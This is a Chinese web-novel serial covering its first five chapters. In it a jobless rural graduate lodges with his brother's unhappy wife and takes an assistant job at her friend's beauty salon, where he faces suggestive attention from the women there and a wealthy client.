《温柔的婉姐》
第1章 失业了
考虑很久,还是决定把我和嫂子的故事写出来。
文笔有点差,贵在真实。
我叫林远,乡下土里刨食考出来的大学生。家里为了供我上省城的学校,几乎掏空了底。我本以为毕业就能光宗耀祖,结果在省城这半年,除了受气,就是看着银行卡里那点可怜的工资发愁。
“3500的农民工不好找,3500的大学生遍地都是!”冷着脸的女主管一句话就让我滚蛋。
留在这里拼好饭都要拼不起了,此处不留爷自有留爷处!
省会大城市容不下我,我也没脸回家见爹娘,思来想去,只能去滨海市投奔我哥林强。
他并不是我亲哥,我们同一个村,他大我三岁早早辍学开始混社会,我则是村里少有的大学生,全家人都等着我光宗耀祖。
林强混社会早,前几年跟着人做工程赚了点钱,在滨海市的核心地段买了套一百多平的房子。
嫂子苏婉以前开美容院,手里也有积蓄,现在辞了职,在家专心当全职太太,据说是在备孕。
走出滨海站,我拖着那个磨损严重的行李箱站在单元楼下时,天已经彻底黑透了。手机屏幕显示晚上九点半,哥发来的微信只有简短的一行字:“到了直接进门,你嫂子在家,我还在局上。”
乡下出来的孩子,骨子里那股子拘谨让我在高档单元门前踌躇了好一会儿。直到保安不耐烦地瞥了我一眼,我才硬着头皮按响了门铃。
“谁呀?”门内传来苏婉慵懒的声音。
“嫂子,是我,小远。”
门开了,苏婉穿着一套瑜伽服,应该是刚做完运动。扎了一个简单的高马尾,身材匀称皮肤白嫩,看着一点都不像已婚的女人,比女大学生都有活力。
“哎呀,小远,可算来了你哥跟我唠叨好几遍了。”她侧身让我进去,声音软糯,“快进来,外面冷。你哥那死鬼,说是在谈事,这都几点了还不回来。”
我低着头,视线死死盯着自己沾了泥点的鞋尖,不敢往她身上看:“嫂子,我在省城辞职了,没地儿去……要是方便,我就借住几天。”
“说什么傻话,这就是你家。”苏婉伸手帮我提箱子,我莫名的有点紧张,箱子“哐当”一声砸在地上。
“对……对不起,嫂子。”我慌忙弯腰去捡,脸烧得厉害。
苏婉轻笑了一声,那笑声里带着一丝说不清的幽怨:“你这孩子,跟嫂子客气什么。”
“嫂子……我自己来就行!”我有些不好意思的说道。
苏婉咯咯一笑,弯下腰帮我扶箱子。感觉她不像传说中那些女强人盛气凌人,反而非常的温柔,让人觉得相处很舒服。
我手忙脚乱地抱起箱子,结结巴巴地说:“我……我自己来,嫂子你身子金贵,别累着。”
“金贵什么呀。”苏婉直起身,眼神黯淡下来,随手理了理有些凌乱的衣领,“就是个不下蛋的母鸡,天天在家养着,都快发霉了。”
我心里一颤,偷偷抬眼看她。她正望着客厅茶几上那堆瓶瓶罐罐——叶酸、维生素、还有熬好的中药,眼神空洞。
“坐吧,陪嫂子说说话。”她拍了拍沙发,“这家里冷冷清清的,连个喘气的都没有。”
我僵硬地坐在沙发最边缘,背挺得笔直,双手死死抓着膝盖。
“你哥那人,你是知道的。”苏婉端起水杯,语气里满是疲惫。
“天天混社会,喝酒、抽烟、熬夜。我说为了备孕让他戒了,他嫌我啰嗦。这都三年了,肚子一点动静没有。医生说他精子质量差,让他调理,他倒好,还在外面花天酒地。”
她说着,眼圈又红了,声音低了下去:“小远,你说,是不是嫂子哪里做得不好?还是……你哥在外面有人了?”
看着她落泪,我心里一阵揪紧,刚想开口安慰,楼道里突然传来了沉重的脚步声和含糊的叫骂声。
“开门!老子回来了!”
是哥的声音,带着浓重的酒气。
苏婉脸色一变
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,连忙起身去开门。门刚打开,一股刺鼻的酒精味混合着烟味就涌了进来。林强歪歪斜斜地靠在门框上,满脸通红,眼神浑浊。
“哟,小远来了?”他眯着眼看了我一下,也没多问,打着酒嗝就要往里闯,“正好,让你嫂子给我弄点醒酒汤……”
“你还知道回来?”苏婉挡在门口,声音颤抖,“你看看现在几点了?明天还要去医院复查,你又喝成这样!”
“复查个屁!”林强一把推开苏婉,踉跄着走进客厅,一屁股摔在沙发上,“老子在外面累死累活赚钱,回家还得听你唠叨!不就是个孩子吗?急什么急!”
“我不急?我都三十了!”苏婉终于忍不住了,眼泪夺眶而出,“你整天这样,怎么怀得上?上次医生都说了,让你禁欲调理,你倒好,天天出去鬼混!”
林强愣了一下,随即恼羞成怒,猛地站起来,一把拽住苏婉的手腕:“你说谁不行?老子行不行你不知道?今晚我就让你知道知道!”
“你干嘛!放开我!”苏婉惊呼着挣扎。
“干嘛?你不是想要孩子吗!”林强狞笑一声,不顾苏婉的推拒,硬生生拖着她往卧室走,“老子现在就给你!”
“林强你浑蛋!你一身酒气……唔……”
卧室的门被“砰”地一声关上,隔绝了大部分光线,我僵坐在客厅的沙发上,手脚冰凉,心脏却狂跳得像要炸开。
房间里很快传来了激烈的争吵声,伴随着家具的碰撞声。
“你放开我……”苏婉带着哭腔的**。
“闭嘴!”林强的吼声含糊不清。
紧接着,是一阵令人面红耳赤的喘息声。
虽然没谈过女朋友,可在学校的时候也跟着舍友那了解到一些,当然知道哥哥嫂子是怎么回事儿。
面对尴尬的场合,我索性放下行李,下楼抽了根烟。冷风吹在身上我忍不住打了个哆嗦,脑子瞬间清醒。
我决定了,要赶紧找到工作,搬出去住!
第2章 嫂子给我介绍工作
因为一夜没睡好,我第二天醒的比较晚。
打开窗户外面的海风吹进来,稍微驱散了一些屋内的沉闷。
我轻手轻脚地走出房间,生怕惊扰了还在休息的嫂子。可刚走到客厅,一股小米粥的清香就飘了过来。
厨房里,苏婉已经起来了。她换了一身宽松的居家服,头发随意地挽在脑后,露出白皙修长的脖颈。
昨夜的泪痕已经干了,但眼底那抹青黑还是暴露了她一夜未眠的事实。她背对着我,拿着勺子轻轻搅动锅里的粥,动作轻柔。
“小远,醒啦?”她似乎背后长了眼睛,头也没回地说道,“快去洗漱,早饭马上就好。”
“嫂子,你……你怎么起这么早?”我有些局促地站在厨房门口,手都不知道往哪放,“昨晚……你没睡好吧?”
苏婉的手顿了一下,随即又恢复了正常,她转过身,勉强挤出一个笑容:“没事,习惯了。你哥一大早就走了,说是去工地,连个招呼都没打。估计又是去躲清静,或者……去找那个女人了吧。”
说到最后几个字,她的声音低了下去,眼神里闪过一丝痛楚,但很快就被她掩饰过去了。
“快坐下吃饭,别愣着。”她端着一碗热气腾腾的小米粥和两个煮鸡蛋放到桌上,又切了一碟清爽的小黄瓜,“家里就咱们俩,随便吃点。”
我看着那碗粥,心里酸溜溜的。在家里,娘也是这么给我做饭的,可自从出去上班,除了冷冰冰的外卖盒,好久没吃过这种带着“家”味的早饭了。
“嫂子,你也吃。”我坐下,不敢看她眼睛。
“我不饿,看着你吃就行。”苏婉坐在我对面,双手捧着水杯,目光有些游离地看着窗外,“小远,你哥昨天喝多了,说的话你别往心里去。他那个人,你也知道,混社会久了,脾气臭,没什么文化……”
“我知道,嫂子。”我埋头喝粥,滚烫的米粥顺着喉咙下去,感觉胃里暖暖的。”
“是我来得不凑巧,打扰你们了。”
“说什么傻话。”苏婉轻声叹了口气,“你能来,我其实挺高兴的。这房子太大,一个人待着……总觉得空荡荡的。”
吃完饭,我抢着要去洗碗,被苏婉拦住了。“你是客人,哪有让客人干活的道理。你今天不是要找工作吗?赶紧收拾收拾出去吧,滨海市虽然机会多,但也得赶早。”
提到找工作,我心里咯噔一下。
出门前,我犹豫着给林强发了条微信:“哥,昨晚说的工作的事……”
消息发出去,如同石沉大海。直到我走出小区,坐上拥挤的公交车,手机依然没有任何动静。
那一刻,我心里那点微弱的希望彻底灭了。
林强答应给我安排工作,无非是酒桌上的随口一说,或者是为了在父老面前显摆他在外面混好了。
如今他和嫂子闹成这样,恐怕早就把答应我的事忘到九霄云外了。
“靠谁都不如靠自己。”我捏紧了口袋里那张皱巴巴的简历,在心里对自己说。
然而,现实比我想象的还要残酷。
滨海市虽然是沿海发达城市,机会确实比老家多,可竞争也激烈得吓人。我拿着本科学历,跑了一家又一家公司。
有的嫌我没经验,有的嫌我要价高,还有的看到我简历上寥寥几笔,直接就把简历扔在一边,眼神里透着毫不掩饰的轻蔑。
“现在的大学生,眼高手低的太多了。”一家公司的面试官推了推眼镜,冷冷地说道,“我们这儿不缺坐办公室的,缺的是能下基层吃苦的。你能接受一个月三千五,单休,还要经常加班吗?”
“能,我不怕吃苦!”为了尽快从哥嫂家搬出去,我赶紧说道。
“那行,回去等通知吧!”
啊……这下我傻眼了,月薪三千五还单休的工作,竟然也要等通知,那我今晚岂不是又得住哥嫂家。
走出写字楼,外面的太阳毒辣辣地烤着大地。我站在天桥上,看着脚下川流不息的车流,突然觉得自己像只无头苍蝇。
中午,我没好意思回哥哥家。
嫂子那么好,给我做了早饭,我要是中午回去蹭饭,还得让她忙活。再说,我现在一事无成,有什么脸面回去?
我在路边的便利店买了一桶红烧牛肉面,又加了一根火腿肠。坐在花坛边上,就着矿泉水泡开了。
面条的味道很香精,火腿肠淀粉感十足,可我还是吃得津津有味。一边吃,一边看着周围行色匆匆的人群。
“林远啊林远,你真是个废物。”我嚼着没泡开的面饼,眼眶有点发热。
我想起了嫂子苏婉,她那么温柔,那么漂亮,林强是怎么舍得打她的。
一直磨蹭到天黑,我才拖着像灌了铅的双腿回到了小区。我本来想去住旅馆的,可是那点可怜的余额实在不允许。
推开家门,屋里亮着温暖的灯光。苏婉正坐在沙发上叠衣服,看到我进来,她立刻放下了手里的活,眼神里满是关切。
“回来了?怎么样,顺利吗?”她起身迎过来,目光在我疲惫的脸上扫了一圈,瞬间就明白了结果。
我低下头,不敢看她的眼睛,声音沙哑:“不太顺利……跑了一天,没找到合适的。”
那种挫败感,在看到她温柔目光的瞬间,差点让我崩溃。
苏婉没有像其他人那样说些“加油”、“继续努力”的客套话,也没有流露出
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丝毫的不耐烦。她轻轻拉着我坐到沙发上,转身去厨房端出了一碗还冒着热气的鸡汤面。
“先吃饭,吃饱了才有力气想对策。”她把面放在我面前,又递给我一双筷子,“滨海市是大地方,找工作哪有那么容易的?你才第一天,别灰心。”
看着她忙碌的背影,闻着那股熟悉的鸡汤香味,我的鼻子一酸,眼泪差点掉进碗里。
“嫂子,对不起,我给你添麻烦了。”我低声说道。
苏婉坐在我旁边,轻轻拍了拍我的肩膀。她的手掌温热,透过薄薄的T恤传过来,让我浑身一颤。
“说什么傻话呢。”她的声音很轻,带着一丝不易察觉的落寞,“这个家,现在也就咱俩能说说话。你哥……他今天一天都没回来,电话也不接。估计是在外面躲着,或者……在打算怎么离婚吧。”
提到“离婚”两个字,空气仿佛凝固了一瞬。
我猛地抬头看向她,只见苏婉垂着眼帘,长长的睫毛在眼睑下投出一片阴影。她的脸色有些苍白,手指无意识地绞着衣角,显露出内心的不安。
原来,他们的关系已经到了这一步。
“嫂子,你别难过。”我笨拙地安慰道,“像他那样的人,不值得你这样。”
话说出口,我就后悔了。这是在挑拨人家夫妻关系吗?我算老几?
可苏婉并没有生气,反而抬起头,深深地看了我一眼。那眼神里,有感激,有无奈,还有一种让我心慌的复杂情绪。
“小远,你还小,不懂大人的世界。”她苦笑了一下,“有时候,不是值不值得的问题,是能不能放下的问题。不过……你说得对,日子总得往下过。”
她顿了顿,像是下定了某种决心,语气变得坚定起来:“工作的事,你别着急到处乱跑了。明天,我带你去见我以前的一个朋友。她在开发区开了一家公司,正好缺个助理。虽然起步工资不高,但胜在稳定,也能学东西。”
我愣住了:“嫂子,这……合适吗?我不想走后门……”
“什么后门不后门的。”苏婉打断了我,嘴角终于扬起了一丝真心的笑意,“凭你的学历和能力,完全胜任。再说了,你现在住在我家,我总不能看着你天天吃泡面吧?就当是……帮嫂子一个忙,让我心里也好受点,觉得自己还有点用。”
看着她那双清澈的眼睛,我到了嘴边的拒绝又咽了回去。
“谢谢嫂子。”我低下头,大口吃着面,热气熏得我眼睛发胀。
“快吃吧,凉了就不好吃了。”苏婉托着腮,静静地看着我:“明天早上我叫你,咱们一起出门。”
“嗯。”我应了一声,心里却乱成了一团麻。
第3章 脂粉堆里的男助理
第二天一早,苏婉特意换了一身得体的职业装。那是一件米白色的修身西装,内搭淡蓝色的衬衫,下身是一条黑色的包臀裙,将她原本就曼妙的身材勾勒得更加凹凸有致。
她脸上化了淡淡的妆,遮住了昨夜的疲惫,整个人看起来精神了不少,但眉宇间还是藏着一丝小心翼翼。
“小远,走吧。”她拿起车钥匙,回头冲我笑了笑,“别紧张,我那个朋友叫秦红,人很爽利,就是说话直了点。”
我跟着她下了楼,坐进了她那辆白色的轿车里。车厢里弥漫着一股淡淡的茉莉花香,那是她身上特有的味道,混合着皮革的气息,让我这个坐在副驾驶的大男人显得有些手足无措。
一路上,我们话不多,她专心开车,我则盯着窗外飞逝的街景,心里像揣了只兔子,既期待又忐忑。
车子最终停在了一家名为“红颜国际”的美容院门口。看着那金碧辉煌的招牌和门口站着的一排迎宾小姐,我愣住了。
“嫂子,这……这就是你朋友的公司?”我指着那充满女性化装饰的大门,声音都有些发紧。
苏婉停好车,有些不好意思地看了我一眼:“是啊,以前我和秦红一起合伙开的。后来我要备孕,家里事多,就把股份都转给她了,自己退了出来。没想到吧?其实我以前也是干这个起家的。”
我咽了口唾沫,心里顿时打起了退堂鼓。
美容院?
那可是全是女人的地方!
让我一个堂堂七尺男儿,混进一群莺莺燕燕里当助理?这要是传出去,我在老家还要不要做人了?村里那些碎嘴子不得把我说成是“吃软饭的小白脸”或者“不正经的混混”?
“嫂子,要不……我还是再找找别的工作吧。”我站在门口,脚像生了根一样不肯动,“这里全是女的,我一个男的进去,太尴尬了,也不方便。”
“有什么不方便的?”苏婉轻轻推了我一把,语气虽然温柔,却带着不容拒绝的坚持,“秦红早就跟我说了,她那边正好缺个懂电脑、会做报表,还能帮着搬搬重物的男助理。”
“店里那些小姑娘,娇滴滴的,连桶装水都换不了。你是大学生,脑子灵光,正好帮帮她。再说了,你就当是帮嫂子还个人情,行不行?”
看着她那双充满期待的眼睛,我那点可怜的自尊心瞬间崩塌了。
“行……吧。”我硬着头皮跟在她身后,走进了那扇旋转门。
一进门,一股浓郁而复杂的香水味扑面而来。大厅里装修得奢华典雅,灯光柔和暧昧。前台、走廊、休息区,目之所及,全都是女人。
穿着粉色制服的前台小妹长得甜美可人,见到苏婉立刻迎了上来,眼睛却好奇地在我身上打转:“婉姐,你可算来了!这位帅哥是……”
“这是我小叔子,林远。”苏婉大方地介绍道,“今天开始,他在秦总手下做助理。”
“哇,婉姐的小叔子这么帅啊!”几个路过的美容师停下脚步,窃窃私语起来。她们的目光火辣辣的,像探照灯一样在我身上扫来扫去。
我脸涨得通红,恨不得找个地缝钻进去。从小到大,我都是那个只会读书的穷小子,什么时候被这么多漂亮女人这样围观过?这种被当成“稀有动物”的感觉,让我浑身不自在,手脚都不知道往哪放。
“都在干活呢!聚在这儿干嘛?想扣工资是不是?”
一声清脆而威严的呵斥从二楼楼梯上传来。
众人瞬间散开,各自忙去了。只见一个穿着黑色职业套裙的女人踩着高跟鞋,“哒哒哒”地走了下来。
这就是秦红。
她和苏婉完全是两个极端。苏婉像是一杯温吞的白开水,温柔、内敛、让人如沐春风;而秦红则像是一杯烈酒,泼辣、干练、浑身散发着生人勿近的气场。
她留着一头利落的短发,妆容精致浓艳,眼神锐利得像刀子,走路带风,一看就是个雷厉风行的女强人。
听说她离婚好几年了,前夫是个软饭男,被她净身出户后,她就一心扑在事业上,硬是把这家美容院做成了滨海市的连锁品牌。
“哟,这不是我们的苏大美人吗?”秦红走到我们面前,上下打量了苏婉一番,语气调侃,“怎么,终于舍得从家里那个金丝笼里出来了?还是说……家里那位又惹你生气了?”
苏婉苦笑了一下,没接这话茬,只是拉过我说道:“红姐,这就是我跟你提的小远。林远,叫秦总。”
“秦……秦总好。”我拘谨地喊了一声,头都不敢抬。
秦红的目光瞬间锁定在我身上。
那一瞬间,我感觉自己像是被X光扫描了一遍。她的眼神毫不避讳,从我的头发看到我的眼睛,又落到我的肩膀和手上。
那种眼神里没有刚才那些小姑娘的花痴,而是一种审视猎物的锐利,甚至带着一丝……惊喜?
“嚯,可以啊苏婉。”秦红嘴角勾起一抹玩味的笑,围着我转了半圈,“你从哪淘来的宝?这小伙子长得挺周正啊,眉清目秀的,看着就干净。关键是这股子青涩劲儿,现在城里可不多见了。”
我被夸得面红耳赤,结结巴巴地说:“秦总您过奖了,我就是个乡下出来的……”
“乡下怎么了?乡下孩子实在,肯吃苦。”秦红打断了我,直接拍板,“行了,这人选我满意了。以前招那几个男助理,一个个油头滑脑的,还没干两天就想占女员工便宜,看着就烦。你这个看着顺眼,像个读书人。”
她转头对苏婉眨了眨眼:“你这闺蜜当得真够意思,有好资源先想着我。不过话说回来,把你这小叔子放我这脂粉堆里,你就不怕他学坏了?或者……被他哥知道了,不得吃醋啊?”
苏婉的脸色微微一变,随即勉强笑道:“他哥……最近忙得很,哪有空管这些。只要小远能有个正经工作,我就放心了。”
提到林强,气氛稍微凝固了一瞬。秦红是个聪明人,立刻察觉到了什么,不
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再多问,转而对我说:“林远是吧?既然来了我这儿,就得守我的规矩。我不养闲人,也不搞那些虚头巴脑的。”
“你的工作很简单:早上负责开门、检查设备;白天帮我整理客户档案、做财务报表,顺便充当一下‘搬运工’和‘护花使者’;晚上等店员下班了,你要负责检查水电安全。月薪四千,包吃,试用期一个月。有没有意见?”
四千的工资不算高,可是对于我来说包吃住非常重要。首先不用住在哥嫂家那么尴尬了,另外我这个人饭量大,包吃住能省下一大笔开销。
更重要的是,这是嫂子求来的机会,我不能让她难做。
“没意见,谢谢秦总给我这个机会。”我连忙点头。
“行,那就这么定了。”秦红爽快地伸出手,“欢迎加入‘红颜’。不过我可丑话说在前头,我这店里虽然全是美女,但你小子要是敢动什么歪心思,骚扰我的员工,别怪我对你不客气。我这人,打男人可是从不手软的。”
我吓得连连摆手:“不敢不敢,秦总您放心,我就是来干活的。”
秦红哈哈大笑,拍了拍我的肩膀:“逗你玩的。看把你紧张的,脸都红了。行了,苏婉,既然人送到了,你也别闲着。反正你在家也闷得慌,今天就在店里待着,陪陪我,顺便给新来的小弟介绍一下环境。晚上我请客,给你们接风!”
接下来的半天,我简直是在度日如年。
苏婉带着我在店里转了一圈。每到一个房间,都有漂亮的女美容师跟我打招呼,有的大胆点的还会开个玩笑:“小林弟弟,以后姐姐的脸就交给你照顾啦!”
“小林,帮姐姐搬一下精油箱子呗,好重哦~”
我像个机器人一样,机械地点头、干活、脸红。
而秦红则一直若有若无地观察着我。每当我和那些女员工说话时,她的眼神就会变得深邃起来。
有一次,我弯腰帮一个美容师捡掉在地上的毛巾,起身时正好撞上秦红的目光。她正靠在吧台边,手里晃着一杯咖啡,嘴角挂着一丝意味深长的笑,那眼神里似乎藏着某种探究,又像是在评估一件新奇的玩具。
“这小子,有点意思。”我隐约听到她对苏婉低声说道。
苏婉叹了口气:“红姐,你别打他主意。他就是个单纯的孩子,家里情况复杂,经不起折腾。”
“瞧你说的,我像是那种坏人吗?”秦红轻笑一声,目光却始终没有从我身上移开,“我就是觉得,这满屋子的女人,突然进来这么个清纯的男大学生,倒是给这死气沉沉的店里添了点不一样的色彩。再说了……”
她顿了顿,声音压低了几分,但我还是隐约听到了后半句:
“我也不是铁打的,偶尔看看赏心悦目的年轻人,心情也能好点,不是吗?”
听到这话,我心里猛地一跳,一种前所未有的慌乱涌上心头。
看着镜子里的自己,穿着不合身的临时工装,满脸通红。
第4章 特殊任务
在美容院待了一下午,我感觉自己像个误入盘丝洞的唐僧,随时都有被“吃干抹净”的风险,浑身上下没有一处自在的地方。
虽然秦红嘴上说是招助理,但这活儿干得实在是让人面红耳赤。这店里全是女人,大家说话做事都没什么避讳,空气里弥漫的不仅仅是昂贵的精油味,还有一种让我这个刚出校门的愣头青招架不住的荷尔蒙气息。
我正对着电脑帮财务核对上个月的流水,屏幕上的数字跳得我眼晕。
“哒、哒、哒……”
一阵高跟鞋敲击地面的声音由远及近,一个穿着粉色紧身制服的美容师姐姐端着一杯刚调好的奶茶凑了过来。
她并没有直接说话,而是故意把身子前倾,也不知道是有意的还是无意的,正好蹭到了我的手臂。
“小林弟弟,”她的声音软糯得让人骨头酥,“这表格太复杂了,姐姐脑子笨,看不懂这些公式,你手把手教教我呗?”
我吓得像触电一样,猛地把胳膊缩了回来,鼠标“啪”的一声撞在桌面上。
“姐,这……这是秦总交代的账目,有保密协议的,不能随便动。”我结结巴巴地拒绝,脸瞬间涨成了猪肝色,眼神死死盯着屏幕,根本不敢往旁边看。
“哎哟,小气鬼。”她咯咯笑着,伸出涂着鲜红指甲油的手指,在我肩膀上轻轻点了一下,“姐姐就是开个玩笑,看把你紧张的,汗都出来了。”
说完,她把奶茶往我桌上一放,扭着腰肢走了,留下一股子呛人的香水味儿。
我长舒一口气,抽出纸巾擦了擦额头的冷汗。这地方,真不是人待的,太特么的考验定力了。我感觉自己就像一块掉进狼群里的鲜肉,周围全是绿油油的眼睛。
“林远,进来一下。”
就在我惊魂未定的时候,秦红办公室的门开了。
她探出半个身子,手里夹着一支细长的女士香烟,烟雾缭绕中带着一种让人捉摸不透的玩味。
我像听到了赦免令一样,赶紧关掉电脑,几乎是逃也似的跑了过去。
办公室里冷气开得很足,与外面的燥热形成了鲜明的对比。秦红坐在那张宽大的真皮老板椅上,修长的双腿交叠在一起,黑色的丝袜包裹着匀称的小腿,透着一股成**性特有的风情。
她指了指面前那个很高的红木文件柜,语气慵懒:“刚才库房那边送来了几箱新货,是法国进口的高端套盒,死沉死沉的。库房在地下室,那帮小姑娘娇滴滴的,连桶水都提不动,你去搬上来。”
“好嘞,秦总,我这就去。”我巴不得干点体力活,只要能让我离开那些暧昧的眼神,别说搬货,就是扛水泥我都愿意。
“等等。”
秦红叫住我,目光在我身上打量了一圈,眉头微微皱起,似乎对我的穿着很不满意。
“你就穿这身衣服去?那是店里发的临时工装,布料太薄,全是涤纶的。地下室灰尘大,全是灰土,弄脏了还得洗。而且……”
她站起身,走到我面前,视线落在我那件洗得领口变形的T恤上,摇了摇头:“那柜子顶挺高,你弯腰抬东西的时候,裤腰容易露出来。这店里来来往往都是女客人,你衣冠不整的,像什么样子?别给我丢了店里的脸。”
我低头看了看自己,确实,这身行头太寒酸了,跟这金碧辉煌的美容院格格不入。
秦红转身走到角落的一个大衣柜前,“哗啦”一声拉开柜门。
“这是我前夫以前落在这儿的几件衣服,虽然离了婚,但这男人留下的东西倒是还能派上用场。都是新的,牌子货,没穿过几次。你挑一件换上,别像个乞丐似的在我店里晃悠。”
我愣住了,看着衣柜里挂着的几件男士衬衫和休闲裤,有些手足无措:“这……这不太好吧?我是来干活的,穿这么好的衣服,万一弄脏了……”
“让你穿你就穿,哪那么多废话。”秦红有些不耐烦地挥了挥手,直接从衣架上抽出一件深蓝色的Polo衫和一条黑色的休闲西裤,一股脑地扔给我,“去里面的休息室换。我不看,放心,我又不是没见过男人穿衣服。”
我抱着那堆带着淡淡樟脑丸味道的衣服,硬着头皮进了里面的休息室。
休息室很小,只有一张米色的布艺沙发和一面落地的全身镜。
我关上门,背靠着门板,心脏“砰砰”直跳。
脱掉自己那件洗得发白的T恤,我看着镜子里略显单薄的身体,肋骨隐约可见。这就是我在省城混了半年的结果,不仅没长肉,反而更憔悴了。
我拿起秦红给的衣服,布料摸起来很顺滑,手感极佳。穿上身后,大小竟然出奇地合适。
镜子里的我,瞬间像是变了个人。深蓝色的Polo衫衬托的皮肤白了一些,黑色的西裤修饰了腿型,少了几分乡下的土气,多了几分城市白领的斯文。
就在我对着镜子整理衣领,试图让自己看起来更自信一点的时候,休息室的门突然被推开了一条缝。
“换好了没?磨磨蹭蹭的……”
秦红的声音传了进来,紧接着,门被彻底推开。她显然是没把我当外人,或者是故意的,直接走了进来,顺手带上了门。
我吓得魂飞魄散,下意识地背过身去,手里还紧紧抓着那件旧T恤,像是抓着最后一块遮羞布。
“秦……秦总!”我的声音都在发抖。
秦红倚在门框上,并没有要回避的意思。她的目光肆无忌惮地在我赤裸的后背上扫视,从宽阔的肩膀滑落到紧致的腰线,随后发出一声轻笑。
“躲什么?都是男人女人,我又没把你吃了。转过来让我看
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看。”
“马上就好,马上就好。”我慌乱地套上裤子,扣好扣子,又手忙脚乱地把Polo衫的下摆塞进裤腰里,这才转过身。
秦红上下打量着我,眼神里闪过一丝惊艳,但很快被她掩饰过去。她走上前,距离我只有不到半米。
“嗯,不错。”她伸出手,指尖轻轻挑起我的衣领,帮我整理了一下,“人靠衣装马靠鞍。你这底子不差,眉清目秀的,就是以前穿得太寒酸,埋没了。以后在我这儿上班,就得有个精神样。”
她的指尖无意间划过我的脖颈,带着一丝凉意,让我浑身起了一层鸡皮疙瘩。
她说着,目光落在我手里那团皱巴巴的旧衣服上,眉头一皱,嫌弃地撇了撇嘴:“那破布扔了吧,脏**,看着碍眼。”
“不……不行。”我下意识地抓紧了那件T恤,指关节都泛白了,“这是我娘给我买的,虽然旧了点,但还能穿。扔了……太可惜了。”
秦红愣了一下,显然没想到我会这么固执。
她盯着我看了一会儿,眼神里的戏谑慢慢褪去,取而代之的是一种复杂的情绪。在这个物欲横流的城市里,像我这样把一件破衣服当宝贝的人,简直就是稀有动物。
“行行行,你个榆木脑袋。”她无奈地叹了口气,语气软了下来,“拿着吧,别像个收破烂的似的拎在手里,塞包里。”
她从包里掏出一张门禁卡扔给我,卡片在空中划出一道弧线,我慌忙接住。
“地下室B2层,密码0000。搬完东西直接上来,今晚有个VIP客户要接待,你跟我一起去。”
“VIP客户?”我接过卡,有些疑惑。
“是啊,很重要的客户。”秦红嘴角勾起一抹意味深长的笑,那笑容里似乎藏着某种算计,“是苏婉以前那个圈子里的阔太,最爱挑剔。你作为我的男助理,得给我撑场面。记住,少说话,多干活,别给我丢脸。”
说完,她转身走了出去,高跟鞋踩在地板上发出清脆的声响,像是在敲击我的心弦。
我站在休息室里,心脏还在狂跳。刚才那一瞬间,她靠得那么近,身上的香水味直往我鼻子里钻,混合着烟草的味道,让我有些头晕目眩。
我低头看了看身上的名牌Polo衫,又看了看手里那团皱巴巴的旧衣服,心里涌起一股说不出的滋味。
在这个光怪陆离的城市里,我好像正在一点点失去原来的自己,被强行塞进一个不属于我的壳子里。
但为了生存,为了不再看哥的脸色,为了能让嫂子苏婉少操点心,我只能硬着头皮走下去。
我深吸一口气,握紧了手里的门禁卡,推门走了出去。
地下室的电梯门缓缓合上,镜面里映出我的脸庞。换上名牌polo衫,好像显得成熟了一些。
第5章 酒桌上的挡箭牌
我费了九牛二虎之力,把三箱死沉死沉的精油套盒搬到了电梯口。汗水顺着额头流进眼睛里,涩得生疼。我刚想直起腰喘口气,电梯门“叮”的一声开了。
秦红站在电梯里,手里提着个精致的手包,已经换了一身酒红色的深V晚礼服。
那裙子领口开得极低,深邃的事业线非常地明显,在地下室昏暗的灯光下白得晃眼。她踩着十厘米的高跟鞋,像只骄傲的红孔雀,一步步走到我面前。
“搬完了?”她瞥了一眼地上的箱子,眉头微皱,“怎么这么慢?我都等你十分钟了。”
“秦总,这箱子太沉了,我……”
“行了,别解释了。”秦红抬手看了看表,“客户已经到了,在‘帝豪’的888包厢。这些箱子先放这儿,回头让保安上来收。你赶紧去洗把脸,换身干净点的鞋,跟我走。”
她凑近我,鼻尖几乎碰到我的下巴,那股浓烈的香水味再次袭来:“记住,今晚你是‘红颜’的运营总监,不是什么搬东西的小助理。把腰杆给我挺直了!”
我下意识地摸了摸身上那件Polo衫,用力点了点头。
帝豪会所是滨海市最顶级的销金窟,门口的泊车小弟一个个都穿着燕尾服,看着比我都体面。
走进888包厢的那一刻,我感觉自己像是刘姥姥进了大观园。包厢里金碧辉煌,巨大的水晶吊灯晃得人眼晕。真皮沙发上坐着几个珠光宝气的女人,手里夹着烟,面前摆着几瓶还没开封的路易十三。
正中间坐着的那个女人,看起来四十岁出头,烫着一头大波浪卷发,脖子上挂着一串鸽子蛋那么大的翡翠项链。
这就是那个VIP客户,王太。
“哟,秦大老板,你可算来了!”王太看见秦红,立刻放下酒杯,眼神却像钩子一样往秦红身后瞟,“这就是你说的……那个新来的总监?”
秦红脸上挂着职业化的假笑,伸手揽住我的胳膊,把我往前推了一把:“王姐,这就是我跟你提的小林。小林,还不快叫王总?”
我僵硬地鞠了一躬:“王总好。”
王太眯起眼睛,目光在我身上肆无忌惮地游走,最后定格在我的脸上和手上。她伸出涂着鲜红指甲的手,招了招:“小伙子,过来坐,离那么远干嘛?姐姐又不**。”
我硬着头皮走过去,刚想在离她远点的单人沙发上坐下,秦红却在桌子底下轻轻踢了我一脚。
我心领神会,只能硬着头皮坐到了王太身边的长沙发上,中间隔着一个身位。
“哎呀,秦红,你这眼光真是越来越毒了。”王太端起酒杯,身体故意往我这边靠了靠,那股刺鼻的脂粉味熏得我直想打喷嚏,“这小伙子看着就干净,不像那些出来混的小白脸,一脸的油滑气。皮肤真好,平时都用什么护肤品啊?”
“王姐说笑了,他是刚毕业的大学生,底子好。”秦红坐在我对面,端起酒杯敬了王太一杯,眼神里却透着一丝无奈,“小林,还不快给王总倒酒?王总今天高兴,你可得把服务做好了。”
我知道,这是给我下任务了。
接下来的两个小时,简直比我在地下室搬十箱货还累。
王太显然是个酒场老手,几杯酒下肚,话就多了起来,手也不老实了。她一会儿说肩膀酸,让我帮忙捏捏;一会儿说酒杯空了,让我喂她喝一口。
“小林啊,”王太醉眼朦胧地看着我,一只手搭在我的大腿上,轻轻拍了拍,“你在秦红那儿一个月赚多少钱啊?姐姐给你双倍,你跟着姐姐干怎么样?姐姐正好缺个私人助理,平时就帮我开开车,买买东西,晚上……陪姐姐聊聊天就行。”
包厢里的空气瞬间凝固了,另外几个陪酒的女人都在偷偷笑,秦红的脸色也变得有些难看。
我浑身僵硬,大腿上的那只手像是有千斤重。我看向秦红,希望她能帮我解围。
秦红正皱着眉,显然也在权衡利弊。王太是店里的大客户,一年能在店里充个百八十万,得罪不起。
